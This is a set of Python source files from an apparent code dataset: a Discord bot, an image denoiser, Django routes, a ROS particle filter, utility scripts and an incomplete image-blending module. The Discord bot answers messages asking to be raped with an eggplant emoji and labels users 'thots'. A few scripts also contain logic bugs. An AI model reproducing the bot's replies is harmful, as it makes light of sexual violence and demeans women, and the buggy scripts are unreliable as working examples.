+{"seq_id":"527440720","text":"import discord\r\nfrom discord.ext.commands import Bot\r\nfrom discord.ext import commands\r\nimport asyncio\r\nimport time\r\nimport random\r\nimport pickle\r\n\r\nClient = discord.Client() #Initialise Client \r\nclient = commands.Bot(command_prefix = \"?\") #Initialise client bot\r\npickle_in = open(\"oofcounter1\", \"rb\")\r\noof = pickle.load(pickle_in)\r\n\r\n@client.event \r\nasync def on_ready():\r\n    print(\"Bot is online and connected to Discord!\") #This will be called when the bot connects to the server\r\n\r\n@client.event\r\nasync def on_message(message):\r\n    if message.content == \"?members\":\r\n        x = len(message.server.members)\r\n        await client.send_message(message.channel, \"There are %d people on the server!\" %x)# How to find member of servers\r\n    if \"PLS RAPE ME\" in message.content.upper() or \"PLEASE RAPE ME\" in message.content.upper():\r\n        await client.send_message(message.channel, \":eggplant:\")\r\n    if \"OOF\" in message.content.upper():\r\n        if message.author != client.user:\r\n            global oof\r\n            oof += 1\r\n            pickle_out = open(\"oofcounter1\", 'wb') #keeps track of the amount of times this has been run\r\n            pickle.dump(oof, pickle_out)\r\n            pickle_out.close()\r\n            await client.send_message(message.channel, \"Thot detected! %d Thots have been detected!\" %oof) #if someone says oof the white girl detector will go off\r\n    if message.content.startswith(\"?bits\"):\r\n        await client.send_message(message.channel, \"We are still setting up the bits, check in with the Chiefs!\") #responds with xsolla or wix link\r\n    if message.content.startswith(\"?help\"):\r\n        await client.send_message(message.channel, \"As of now there are no commands, but trying saying 'oof'\") #responds with list of commands\r\n\r\n@client.event\r\nasync def on_member_join(member):\r\n    activeServers = client.servers\r\n    for s in activeServers:\r\n        sum = 0\r\n        sum += len(s.members)\r\n    statuses = [\r\n                'The retrograde slowly happen',\r\n                'The %d people on the server having fun!' %sum,\r\n                'People appreciate the staff' ]\r\n    await client.change_presence(game=discord.Game(name=random.choice(statuses), type=3))\r\n\r\n@client.event\r\nasync def on_member_remove(member):\r\n    activeServers = client.servers\r\n    for s in activeServers:\r\n        sum = 0\r\n        sum += len(s.members)\r\n    statuses = [\r\n                'The retrograde slowly happen',\r\n                'The %d people on the server having fun!' %sum,\r\n                'People appreciate the staff' ]\r\n    await client.change_presence(game=discord.Game(name=random.choice(statuses), type=3))\r\n\r\nasync def periodic_msg(): #periodic messages\r\n    await client.wait_until_ready()\r\n    xsolla = \"Temp Message\"\r\n    channel = discord.Object(id='503764598923722753')\r\n    while not client.is_closed:\r\n        await client.send_message(channel, xsolla)\r\n        await asyncio.sleep(21600) # task runs every 6 hours \r\n\r\nasync def status_change(): #random statuses every hour\r\n    await client.wait_until_ready()\r\n    while not client.is_closed:\r\n        activeServers = client.servers\r\n        for s in activeServers:\r\n            sum = 0\r\n            sum += len(s.members)\r\n        statuses = [\r\n                'The retrograde slowly happen',\r\n                'The %d people on the server having fun!' %sum,\r\n                'People appreciate the staff' ]\r\n        await client.change_presence(game=discord.Game(name=random.choice(statuses), type=3))\r\n        await asyncio.sleep(3600) # task runs every hour \r\n\r\nclient.loop.create_task(status_change()) #running periodic status change\r\nclient.loop.create_task(periodic_msg()) #running periodic xsolla link\r\nclient.run(\"token\") #Replace token with your bots token\r\n","sub_path":"Mercury Multi Purpose bot - Copy.py","file_name":"Mercury Multi Purpose bot - Copy.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"517024471","text":"\"\"\"\nDenoise an image with the FFDNet denoising method\n\nCopyright (C) 2018, Matias Tassano <matias.tassano@parisdescartes.fr>\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the GNU General Public\nLicense as published by the Free Software Foundation, either\nversion 3 of the License, or (at your option) any later\nversion. You should have received a copy of this license along\nthis program. If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\n\n'''\nThis script is adapted from the orginal script to be incorporated to P^3 and RED\n'''\n\n\nimport os\nimport matplotlib.pyplot as plt\nimport argparse\nimport time\nimport numpy as np\nimport cv2\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom ffdnet_pytorch.models import *\nfrom ffdnet_pytorch.utils import *\n\n\ndef variable_to_array(img):\n    '''\n    transform from variable (1*c*h*w) to array (h*w*c)\n    '''\n    in_ch = img.size()[1]\n    if in_ch == 1:\n        img = img.data.cpu().numpy()[0, 0, :]\n    elif in_ch == 3:\n        img = img.data.cpu().numpy()[0].transpose(1, 2, 0)\n    return img\n\n\ndef array_to_variable(img):\n    '''\n    transform from array (h*w*c) to variable (1*c*h*w)\n    '''\n    img = img.transpose(2, 0, 1)\n    img = np.expand_dims(img, 0)\n    img = torch.Tensor(img)\n\n    use_cuda = torch.cuda.is_available()\n    if use_cuda:\n        dtype = torch.cuda.FloatTensor\n    else:\n        dtype = torch.FloatTensor\n    img = Variable(img.type(dtype), volatile=True)\n    return img\n\n\ndef ffdnet(noisy_img, noise_level, multi_ch):\n    '''\n    denoise using ffdnet\n\n    input:\n    -noisy_img: array of size h*w*c\n    -model: pretrained model\n    -noise_level\n\n    return:\n    -denoised_img: array of size h*w*c\n    '''\n    if multi_ch == 1:\n        input_channel = 3\n        model_dir = 'ffdnet_pytorch/models/net_rgb.pth'\n    else:\n        input_channel = 1\n        model_dir = 'ffdnet_pytorch/models/net_gray.pth'\n\n    net = FFDNet(num_input_channels=input_channel, test_mode=True)\n\n    use_cuda = torch.cuda.is_available()\n    if use_cuda:\n        state_dict = torch.load(model_dir)\n        device_ids = [0]\n        model = nn.DataParallel(net, device_ids=device_ids).cuda()\n        dtype = torch.cuda.FloatTensor\n    else:\n        state_dict = torch.load(model_dir, map_location='cpu')\n        state_dict = remove_dataparallel_wrapper(state_dict)\n        model = net\n        dtype = torch.FloatTensor\n\n    model.load_state_dict(state_dict)\n    model.eval()\n    if multi_ch == 0:\n        noisy_img = np.expand_dims(noisy_img, 3)\n    noisy_img = array_to_variable(noisy_img)\n    with torch.no_grad():\n        noisy_img = Variable(noisy_img.type(dtype))\n        noise = Variable(torch.FloatTensor([noise_level]).type(dtype))\n        im_noise_estim = model(noisy_img, noise)\n        denoised_img = torch.clamp(noisy_img - im_noise_estim, 0., 1.)\n        denoised_img = variable_to_array(denoised_img)\n\n    return denoised_img\n\n\ndef test_ffdnet():\n    orig_img = cv2.imread('data/Set5/baby_GT.bmp')\n    multi_ch = 1\n    orig_img = cv2.cvtColor(orig_img, cv2.COLOR_BGR2RGB)\n    orig_img = orig_img.astype('float32')/255.0\n    noisy_img = orig_img + np.random.normal(0, 25 / 255.0, orig_img.shape).astype(np.float32)  # add noise\n    denoised_img = ffdnet(noisy_img, 25 / 255.0, multi_ch)\n\n    # plot\n    plt.subplot(121)\n    plt.imshow(noisy_img, cmap='gray')\n    plt.title('noisy image')\n    plt.subplot(122)\n    plt.imshow(denoised_img, cmap='gray')\n    plt.title('denoised image')\n    plt.show()\n\n# test_ffdnet()","sub_path":"Ffdnet.py","file_name":"Ffdnet.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"410447967","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('index1', views.index1, name='index1'),\n    path('about', views.about, name='about'),\n    path('bakery', views.bakery, name='bakery'),\n    path('beverages', views.beverages, name='beverages'),\n    path('cleaning', views.cleaning, name='cleaning'),\n    path('confictionery', views.confictionery, name='confictionery'),\n    path('construction', views.construction, name='construction'),\n    path('contact', views.contact, name='contact'),\n    path('fabric_care', views.fabric_care, name='fabric_care'),\n    path('foodingredients', views.foodingredients, name='foodingredients'),\n    path('machinery_equipment', views.machinery_equipment, name='machinery_equipment'),\n    path('meat', views.meat, name='meat'),\n    path('paint_coating', views.paint_coating, name='paint_coating'),\n    path('paint', views.paint, name='paint'),\n    path('polymer', views.polymer, name='polymer'),\n    path('pre_mixes', views.pre_mixes, name='pre_mixes'),\n    path('chemicals', views.chemicals, name='chemicals'),\n    path('water', views.water, name='water'),\n    path('events', views.events, name='events'),\n    path('services', views.services, name='services'),\n    path('login', views.login, name='login'),\n    path('log', views.log, name='log'),\n    path('eventform', views.eventform, name='eventform'),\n    path('viewevent', views.viewevent, name='viewevent'),\n    path('index2', views.index2, name='index2'),\n    path('blog', views.blog, name='blog'),\n    path('deleteevent', views.deleteevent, name='deleteevent'),\n    path('logout_view', views.logout_view, name='logout_view'),\n]","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"194237667","text":"# Copyright (C) 2014 Hiroki Horiuchi <x19290@gmail.com>\n#\n# Copying and distribution of this file, with or without modification,\n# are permitted in any medium without royalty provided\n# the copyright notice and this notice are preserved.\n# This file is offered as-is, without any warranty.\n\n# does not rely on glob\nfrom os.path import realpath\nfrom os import listdir\n\n_a, _z = ord('a'), ord('z')\ndef disks(dev='/dev'):\n    by_path = dev + '/disk/by-path'\n    for e in sorted(listdir(by_path)):\n        r = e.rfind('-')\n        if r and e[r:].startswith('-part'):\n            continue\n        rp = realpath(by_path + '/' + e)\n        if _a <= ord(rp[-1]) <= _z:\n            yield rp\n\nif __name__ == '__main__':\n    raise Exception('making a module executable is a bad habit.')\n","sub_path":"wheels19290/linuxdisks.py","file_name":"linuxdisks.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"390380168","text":"from core.actions.base import Action\nfrom services import echo\nfrom services.selection import DirectionalSelection, TargetSelectionSet\n\n\nclass Close(Action):\n    target_selection = TargetSelectionSet(DirectionalSelection)\n\n    @classmethod\n    def can_execute(cls, character, target_selection=None):\n        if not target_selection:\n            return False\n        return True\n\n    @classmethod\n    def execute(cls, character, target_selection=None):\n        if not target_selection:\n            return False\n\n        for target in target_selection:\n            if target.openable and not target.openable.closed:\n                target.openable.close()\n                echo.see(\n                    actor=character,\n                    actor_message=\"You close {}\".format(target.name),\n                    observer_message=\"{} closes {}\".format(\n                        character.name, target.name\n                    ),\n                )\n\n                return True\n\n        return False\n","sub_path":"core/actions/close.py","file_name":"close.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"294228365","text":"# coding:utf-8\nfrom django.conf.urls import url\nfrom .. import views\n\napp_name = 'assets'\n\nurlpatterns = [\n\n    # Resource asset url\n    url(r'^$', views.AssetListView.as_view(), name='asset-index'),\n    url(r'^asset/$', views.AssetListView.as_view(), name='asset-list'),\n    url(r'^asset/add/$', views.asset.asset_add, name='asset-add'),\n    url(r'^asset/create/$', views.AssetCreateView.as_view(), name='asset-create'),\n    url(r'^asset/export/$', views.AssetExportView.as_view(), name='asset-export'),\n    url(r'^asset/import/$', views.BulkImportAssetView.as_view(), name='asset-import'),\n    url(r'^asset/(?P<pk>[0-9a-zA-Z\\-]{36})/$', views.AssetDetailView.as_view(), name='asset-detail'),\n    url(r'^asset/(?P<pk>[0-9a-zA-Z\\-]{36})/update/$', views.AssetUpdateView.as_view(), name='asset-update'),\n    url(r'^asset/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.AssetDeleteView.as_view(), name='asset-delete'),\n    url(r'^asset-modal$', views.AssetModalListView.as_view(), name='asset-modal-list'),\n    url(r'^asset/update/$', views.AssetBulkUpdateView.as_view(), name='asset-bulk-update'),\n\n    # User asset view\n    url(r'^user-asset/$', views.UserAssetListView.as_view(), name='user-asset-list'),\n\n    # Resource asset group url\n    url(r'^asset-group/$', views.AssetGroupListView.as_view(), name='asset-group-list'),\n    url(r'^asset-group/create/$', views.AssetGroupCreateView.as_view(), name='asset-group-create'),\n    url(r'^asset-group/(?P<pk>[0-9a-zA-Z\\-]{36})/$', views.AssetGroupDetailView.as_view(), name='asset-group-detail'),\n    url(r'^asset-group/(?P<pk>[0-9a-zA-Z\\-]{36})/update/$', views.AssetGroupUpdateView.as_view(), name='asset-group-update'),\n    url(r'^asset-group/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.AssetGroupDeleteView.as_view(), name='asset-group-delete'),\n\n    # Resource cluster url\n    url(r'^cluster/$', views.ClusterListView.as_view(), name='cluster-list'),\n    url(r'^cluster/create/$', views.ClusterCreateView.as_view(), name='cluster-create'),\n    url(r'^cluster/(?P<pk>[0-9a-zA-Z\\-]{36})/$', views.ClusterDetailView.as_view(), name='cluster-detail'),\n    url(r'^cluster/(?P<pk>[0-9a-zA-Z\\-]{36})/update/', views.ClusterUpdateView.as_view(), name='cluster-update'),\n    url(r'^cluster/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.ClusterDeleteView.as_view(), name='cluster-delete'),\n    url(r'^cluster/(?P<pk>[0-9a-zA-Z\\-]{36})/assets/$', views.ClusterAssetsView.as_view(), name='cluster-assets'),\n\n    # Resource admin user url\n    url(r'^admin-user/$', views.AdminUserListView.as_view(), name='admin-user-list'),\n    url(r'^admin-user/create/$', views.AdminUserCreateView.as_view(), name='admin-user-create'),\n    url(r'^admin-user/(?P<pk>[0-9a-zA-Z\\-]{36})/$', views.AdminUserDetailView.as_view(), name='admin-user-detail'),\n    url(r'^admin-user/(?P<pk>[0-9a-zA-Z\\-]{36})/update/$', views.AdminUserUpdateView.as_view(), name='admin-user-update'),\n    url(r'^admin-user/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.AdminUserDeleteView.as_view(), name='admin-user-delete'),\n    url(r'^admin-user/(?P<pk>[0-9a-zA-Z\\-]{36})/assets/$', views.AdminUserAssetsView.as_view(), name='admin-user-assets'),\n\n    # Resource system user url\n    url(r'^system-user/$', views.SystemUserListView.as_view(), name='system-user-list'),\n    url(r'^system-user/create/$', views.SystemUserCreateView.as_view(), name='system-user-create'),\n    url(r'^system-user/(?P<pk>[0-9a-zA-Z\\-]{36})/$', views.SystemUserDetailView.as_view(), name='system-user-detail'),\n    url(r'^system-user/(?P<pk>[0-9a-zA-Z\\-]{36})/update/$', views.SystemUserUpdateView.as_view(), name='system-user-update'),\n    url(r'^system-user/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.SystemUserDeleteView.as_view(), name='system-user-delete'),\n    url(r'^system-user/(?P<pk>[0-9a-zA-Z\\-]{36})/asset/$', views.SystemUserAssetView.as_view(), name='system-user-asset'),\n    # url(r'^system-user/(?P<pk>[0-9a-zA-Z\\-]{36})/asset-group$', views.SystemUserAssetGroupView.as_view(),\n    #     name='system-user-asset-group'),\n\n    url(r'^label/$', views.LabelListView.as_view(), name='label-list'),\n    url(r'^label/create/$', views.LabelCreateView.as_view(), name='label-create'),\n    url(r'^label/(?P<pk>[0-9a-zA-Z\\-]{36})/update/$', views.LabelUpdateView.as_view(), name='label-update'),\n    url(r'^label/(?P<pk>[0-9a-zA-Z\\-]{36})/delete/$', views.LabelDeleteView.as_view(), name='label-delete'),\n]\n\n","sub_path":"blueops/apps/assets/urls/views_urls.py","file_name":"views_urls.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"206821425","text":"#!/usr/bin/env python\n\n# x size\n# 6m 1.6cm = 6.016\n# y size\n# 4m 1cm = 4.01\n\nimport rospy\nimport numpy as np\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Quaternion\nfrom nav_msgs.msg import Odometry\nfrom visualization_msgs.msg import MarkerArray, Marker\nfrom helpers import yaw_to_quaternion, get_orientation_angle, normalize_angle, lv_sample, get_angle_difference\nfrom beacons import get_lamp_coords\nfrom odom import get_odom_velocity_and_yaw_change_speed\nimport math\n\n# debugging publishers\npurple_dots_pub = None\ngreen_dots_pub = None\nred_dots_pub = None\nblue_dots_pub = None\nall_dots_pub = None\nrecognized_pub = None\n\nmarker_array_pub = None\nodom_pub = None\nlast_pos_and_orientation = None\n\n# measured from real world field, this is the size of the carpet/track\nfield_x_size = 6.016\nfield_y_size = 4.01\n\n# real_coords_red, real_coords_blue, real_coords_green, real_coords_purple\nreal_coords = np.array([[3.55, 3.03], [4.18, 1.77], [2.29, 1.14], [2.29, 2.4]])\n\nx_noise_size = 0.0001\ny_noise_size = 0.0001\nyaw_noise_size = np.pi / 128\n\n\n# work best, for 0.2 radians difference gives a weight of 94.6\nangle_measurement_var_sq = np.pi / 8\n\nodom_msg_queue = []\nmarker_array = None\nodom_cb_stamp = None\n\n\ndef get_angle_between_vectors(vec_1, vec_2):\n    dot_product = vec_1.dot(vec_2)\n    det = np.linalg.det(np.array([vec_1, vec_2]))\n    return np.arctan2(det, dot_product)\n\n\n# rotates a vector by angle in 2D space\ndef rotate_vector(vector, angle):\n    rot_matrix = np.array([\n        [np.cos(angle), -np.sin(angle)],\n        [np.sin(angle), np.cos(angle)]\n    ])\n\n    return rot_matrix.dot(vector)\n\n\ndef create_n_markers(n, x, y, yaw_quaternion, id, mean_weight):\n    markers = [None] * n\n\n    markers[0] = create_marker(x, y, yaw_quaternion, id)\n    # adaptive noise, should shrink with iterations\n    noise_factor = (1 - mean_weight)\n    for i in range(1, n):\n        x_new = x + (np.random.random_sample() - 0.5) * x_noise_size * noise_factor\n        y_new = y + (np.random.random_sample() - 0.5) * y_noise_size * noise_factor\n        yaw_new = get_orientation_angle(yaw_quaternion) + (np.random.random_sample() - 0.5) * yaw_noise_size * (\n            noise_factor)\n        markers[i] = create_marker(x_new, y_new, yaw_to_quaternion(yaw_new), id + i)\n\n    return markers\n\n\ndef create_marker(x, y, yaw_quaternion, id):\n    marker = Marker()\n    marker.header.frame_id = 'odom'\n    marker.header.stamp = rospy.Time.now()\n\n    marker.id = id\n    marker.ns = 'point_cloud_marker'\n\n    marker.scale.x = .5\n    marker.scale.y = .1\n    marker.scale.z = .1\n\n    marker.color.a = 1\n    marker.color.r = 0\n    marker.color.g = 1\n    marker.color.b = 0\n\n    marker.type = 0\n\n    marker.pose.position.x = x\n    marker.pose.position.y = y\n    marker.pose.orientation = yaw_quaternion\n\n    return marker\n\n\ndef initialize_particle_cloud():\n    global marker_array\n\n    marker_array = MarkerArray()\n\n    for i in range(100):\n        x, y, yaw_quaternion = get_random_marker_point()\n        marker_array.markers.append(create_marker(x, y, yaw_quaternion, i))\n\n\ndef get_random_marker_point():\n    x = np.random.random_sample() * field_x_size\n    y = np.random.random_sample() * field_y_size\n    yaw = np.random.random_sample() * 2 * np.pi - np.pi\n\n    return x, y, yaw_to_quaternion(yaw)\n\n\ndef get_seen_angles(img_msg):\n    publishers = red_dots_pub, green_dots_pub, blue_dots_pub, purple_dots_pub, all_dots_pub, recognized_pub\n\n    # img_coords_red, img_coords_blue, img_coords_green, img_coords_purple, center\n    img_coords_center = get_lamp_coords(img_msg, publishers)\n\n    seen_angles = [get_angle_between_vectors(coord - img_coords_center[-1],\n                                             np.array([0, 1])) for coord in img_coords_center[:-1]]\n\n    return seen_angles\n\n\ndef propagate(time_passed):\n    odom_velocity, yaw_change_speed = get_odom_velocity_and_yaw_change_speed(odom_msg_queue)\n    velocity_time = odom_velocity * time_passed\n    yaw_time = yaw_change_speed * time_passed\n\n    for i, marker in enumerate(marker_array.markers):\n        m_x = marker.pose.position.x\n        m_y = marker.pose.position.y\n        m_yaw = get_orientation_angle(marker.pose.orientation)\n\n        new_x = m_x + np.cos(m_yaw) * velocity_time + (np.random.random_sample() - 0.5) * x_noise_size\n        new_y = m_y + np.sin(m_yaw) * velocity_time + (np.random.random_sample() - 0.5) * y_noise_size\n        new_yaw = yaw_to_quaternion(\n            normalize_angle(m_yaw + yaw_time + (np.random.random_sample() - 0.5) * yaw_noise_size))\n        marker_array.markers[i].pose.position.x = new_x\n        marker_array.markers[i].pose.position.y = new_y\n        marker_array.markers[i].pose.orientation = new_yaw\n\n\ndef get_marker_weights(img_msg):\n    # seen_red, seen_blue, seen_green, seen_purple\n    seen_angles = get_seen_angles(img_msg)\n    marker_weights = []\n\n    for i, marker in enumerate(marker_array.markers):\n        # get angle between the vector pointing straight in from the position of a marker\n        # towards its orientation and the vector from the marker to a beacon/light bulb\n\n\n        marker_yaw = get_orientation_angle(marker.pose.orientation) + np.pi\n        marker_coords = marker.pose.position.x, marker.pose.position.y\n\n        # yaw = 180; marker_yaw = 360 -> don't rotate\n        # yaw = -180; marker_yaw = 0 -> don't rotate\n        # direction forwards is between -180 and 180 (as we remember, hope this is correct)\n        #\n        #\n        #         ^\n        #         | marker_orientation_vector\n        #         |\n        #       Auto\n        #\n\n        marker_orientation = marker_yaw\n        marker_orientation_vector = rotate_vector(np.array([0, 1]), marker_orientation)\n        expected_angles = [get_angle_between_vectors(rc - marker_coords,\n                                                     marker_orientation_vector) for rc in real_coords]\n\n        # calculate weight for each light bulb using e^(- (expected - perceived)^2/standardDeviation^2)\n        weights = np.array([np.exp(\n            -((get_angle_difference(expected, perceived))**2 / angle_measurement_var_sq**2)\n        ) for expected, perceived in list(zip(expected_angles, seen_angles))])\n\n        rospy.loginfo('e: {}; s: {}; w: {}'.format(expected_angles, seen_angles, weights))\n\n        # remove NaN weights for unseen light bulbs\n        weights = weights[np.invert(np.isnan(weights))]\n\n        # multiple weights (for multiple light bulbs should be multiplied together)\n        marker_weights.append(weights.prod())\n\n    marker_weights = np.array(marker_weights)\n    mean_weight = marker_weights.mean()\n    # normalize between 0 and 1\n    marker_weights = marker_weights / marker_weights.sum()\n\n    return marker_weights, mean_weight\n\n\ndef get_most_probable_markers(img_msg):\n    marker_weights, mean_weight = get_marker_weights(img_msg)\n    sampled_elements, sampled_weights = lv_sample(marker_array.markers, marker_weights, 20)\n\n\n    return sampled_elements, sampled_weights, mean_weight\n\n\ndef next_marker_evolution(sampled_elements, sampled_weights, mean_weight):\n    marker_array.markers = list(np.array([create_n_markers(5, s.pose.position.x, s.pose.position.y,\n                                                           s.pose.orientation, s.id + i, mean_weight) for i, s in\n                                          enumerate(sampled_elements)]).flatten())\n\n\ndef get_pos_and_orientation(markers):\n    # grid size is size of field * 10, so in decimeters, double field to allow overflows\n    grid = np.zeros((int(field_x_size * 20), int(field_y_size * 20)))\n\n    # matrix, where for each location we have a 2d matrix, where the rows are the\n    # individual positions, both with x and y\n    # that way, we can easily find the center of gravity with center_of_gravity.mean(axis=2)\n    # we defined 100 possible locations, will later on remove the unused ones\n    centers_of_gravity = np.zeros((grid.shape[0], grid.shape[1], 100, 2))\n    # fill matrix with NaN so we can filter it later on\n    centers_of_gravity = centers_of_gravity * float('inf')\n    yaw_cos = 0\n    yaw_sin = 0\n\n    for marker in markers:\n        x = marker.pose.position.x\n        y = marker.pose.position.y\n        yaw = get_orientation_angle(marker.pose.orientation)\n\n        x_idx = int(x * 10)\n        y_idx = int(y * 10)\n\n        if 0 <= x_idx < grid.shape[0] and 0 <= y_idx < grid.shape[1]:\n            grid[x_idx][y_idx] += 1\n            centers_of_gravity[x_idx][y_idx] = x, y\n            yaw_cos += np.cos(yaw)\n            yaw_sin += np.sin(yaw)\n\n    winning_cell = np.unravel_index(grid.argmax(), grid.shape)\n\n    x, y = centers_of_gravity[winning_cell].mean(0)\n    yaw = np.arctan2(yaw_sin, yaw_cos)\n\n    return x, y, yaw\n\n\ndef image_callback(img_msg):\n    global last_pos_and_orientation\n\n    if len(odom_msg_queue) != 2:\n        return\n\n\n    # TODO: maybe use marker_weights to determine when alg. converges\n    sample_markers, sample_weights, mean_weight = get_most_probable_markers(img_msg)\n    x, y, yaw = get_pos_and_orientation(sample_markers)\n    next_marker_evolution(sample_markers, sample_weights, mean_weight)\n    marker_array_pub.publish(marker_array)\n\n    if last_pos_and_orientation is None:\n        last_pos_and_orientation = x, y, yaw\n        return\n\n    # rospy.loginfo('x: {}; y: {}'.format(x, y))\n\n    yaw_quaternion = yaw_to_quaternion(yaw)\n    odometry = Odometry()\n    odometry.header.frame_id = 'odom'\n    odometry.header.seq = img_msg.header.seq\n    odometry.pose.pose.position.x = x\n    odometry.pose.pose.position.y = y\n    odometry.pose.pose.orientation = yaw_quaternion\n    odometry.header.stamp = rospy.Time.now()\n\n    odom_pub.publish(odometry)\n\n\ndef odom_callback(odom_msg):\n    global odom_msg_queue, odom_cb_stamp\n\n    if len(odom_msg_queue) > 0:\n        last_stamp = odom_msg_queue[0].header.stamp\n        current_stamp = odom_msg.header.stamp\n        time_passed = abs((current_stamp - last_stamp).to_nsec())\n\n        if time_passed < 0.2 * 10 ** 9:\n            # if we take messages too often, position and angle doesn't change\n            # at all, so it's hard to estimate next position\n            return\n\n    odom_msg_queue = [odom_msg] + odom_msg_queue\n    odom_msg_queue = odom_msg_queue[:2]\n\n    if odom_cb_stamp is None:\n        odom_cb_stamp = odom_msg.header.stamp\n\n    if marker_array is None:\n        initialize_particle_cloud()\n        return marker_array_pub.publish(marker_array)\n\n    time_passed = (odom_msg.header.stamp - odom_cb_stamp).to_nsec() * 1.0\n    propagate(time_passed)\n    odom_cb_stamp = odom_msg.header.stamp\n\n\ndef init():\n    global purple_dots_pub, green_dots_pub, red_dots_pub, \\\n        blue_dots_pub, all_dots_pub, recognized_pub, odom_pub, marker_array_pub\n\n    rospy.init_node('particle_filter', anonymous=True)\n    rospy.Subscriber('/usb_cam/image_rect_color', Image, image_callback)\n    rospy.Subscriber('/odom', Odometry, odom_callback)\n    purple_dots_pub = rospy.Publisher('/debug_image/magenta', Image, queue_size=10)\n    green_dots_pub = rospy.Publisher('/debug_image/green', Image, queue_size=10)\n    red_dots_pub = rospy.Publisher('/debug_image/red', Image, queue_size=10)\n    blue_dots_pub = rospy.Publisher('/debug_image/blue', Image, queue_size=10)\n    all_dots_pub = rospy.Publisher('/debug_image/all_colors', Image, queue_size=10)\n    recognized_pub = rospy.Publisher('/debug_image/recognized', Image, queue_size=10)\n    odom_pub = rospy.Publisher('/mcpf_gps', Odometry, queue_size=10)\n    marker_array_pub = rospy.Publisher('/mcmarkerarray', MarkerArray, queue_size=10)\n    rospy.spin()\n\n\nif __name__ == '__main__':\n    try:\n        init()\n    except rospy.ROSInterruptException:\n        pass\n","sub_path":"src/task09_particle_filter/scripts/particle_filter.py","file_name":"particle_filter.py","file_ext":"py","file_size_in_byte":11675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"605245532","text":"import argparse\nimport os\nimport time\n\nimport pandas as pd\n\nimport chdaily_basic as cb\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-f', '--filename', required=False, default='test1.csv', type=str, help='csv file name to be processed')\n    values = parser.parse_args()\n    export_dir = os.path.join(BASE_DIR, 'output')\n\n#    c = input(\"The current output path: {}\\nIf this is incorrect, enter n to exit the application.\".format(export_dir))\n#    if c.lower() == 'n':\n#        exit(1)\n\n    try:\n        df = pd.read_csv(values.filename, names=['keyword', 'url', 'order'], skiprows=1, encoding='utf-8')\n    except (FileNotFoundError, SyntaxError) as e:\n        print(e)\n        exit(1)\n\n    df['order'].fillna(1, inplace=True)\n    df['order'] = df['order'].map(lambda x: str(int(x)))\n\n    for index, row in df.iterrows():\n        keyword = row['keyword']\n        url = row['url']\n        order = row['order']\n        cb.main(url=url, keyword=keyword, order=order, export_pathname=export_dir)\n        time.sleep(5)\n","sub_path":"chdaily_csv.py","file_name":"chdaily_csv.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"98313084","text":"'''\nexercicio 1 - Pré-processador de texto\nImplemente um programa que elimine os comentários em um código-fonte em linguagem C.\nLembrando que em linguagem C existem dois tipos de comentários:\n// - define o comentário a partir das barras até o final da LINHA\n/* texto */ - define o comentário entre os delimitadores, podendo ser (o comentário) em várias linhas\n'''\n\narquivo = open('arquivo.txt', 'r')\n\n\ntexto = arquivo.readlines()\narquivo.close()\n\n#print(texto)\nnovoArquivo = open('novoArquivo.txt','w')\n\nfor i in range(len(texto)):\n    \n    comentario = texto[i].find('//')\n    if(comentario != 0):\n        #print(\"Tem comentário!\")\n        print(texto[i])\n        novoArquivo.writelines(texto[i])\nprint(\"O arquivo foi compilado!\")\nnovoArquivo.close()\n","sub_path":"preProcessador/preProcessador.py","file_name":"preProcessador.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"132273540","text":"import numpy\nimport pkg_resources\nfrom matplotlib import cm\n\ndef scale(array, min=None, max=None, gamma=1, output_max=255):\n    \"\"\"Return an array with values in the range [0, output_max].\n\n    If 'min' and/or 'max' are specified, these represent the values in the input\n    that will be mapped to 0 and 'output_max' in the output, respectively.\n    If not specified, the min and/or max values from the input will be used.\n\n    If gamma is specified, a gamma-transform will be applied to the final array.\n    \"\"\"\n    array = numpy.asarray(array, dtype=numpy.float32)\n    if min is None:\n        min = array.min()\n    if max is None:\n        max = array.max()\n    if min >= max:\n        return numpy.zeros_like(array)\n    with numpy.errstate(under='ignore'):\n        array.clip(min, max, out=array)\n        array -= min\n        array /= max - min\n        array **= gamma\n    return array * output_max\n\ndef write_scaled(array, filename, min, max, gamma=1):\n    \"\"\"Write an image to disk as a uint8, after scaling with the specified\n    parameters (see scale() function).\"\"\"\n    import freeimage\n    freeimage.write(scale(array, min, max, gamma).astype(numpy.uint8), filename)\n\ndef blend(top, bottom, top_alpha=None, bottom_alpha=None, mode='normal', input_max=1):\n    \"\"\"Blend two RGB[A] arrays, using normal or screen-blending mode.\n\n    Parameters:\n        top, bottom: arrays of shape (x, y, 3) or (x, y, 4) for RGB or RGBA images.\n        top_alpha, bottom_alpha: if not None, ignore 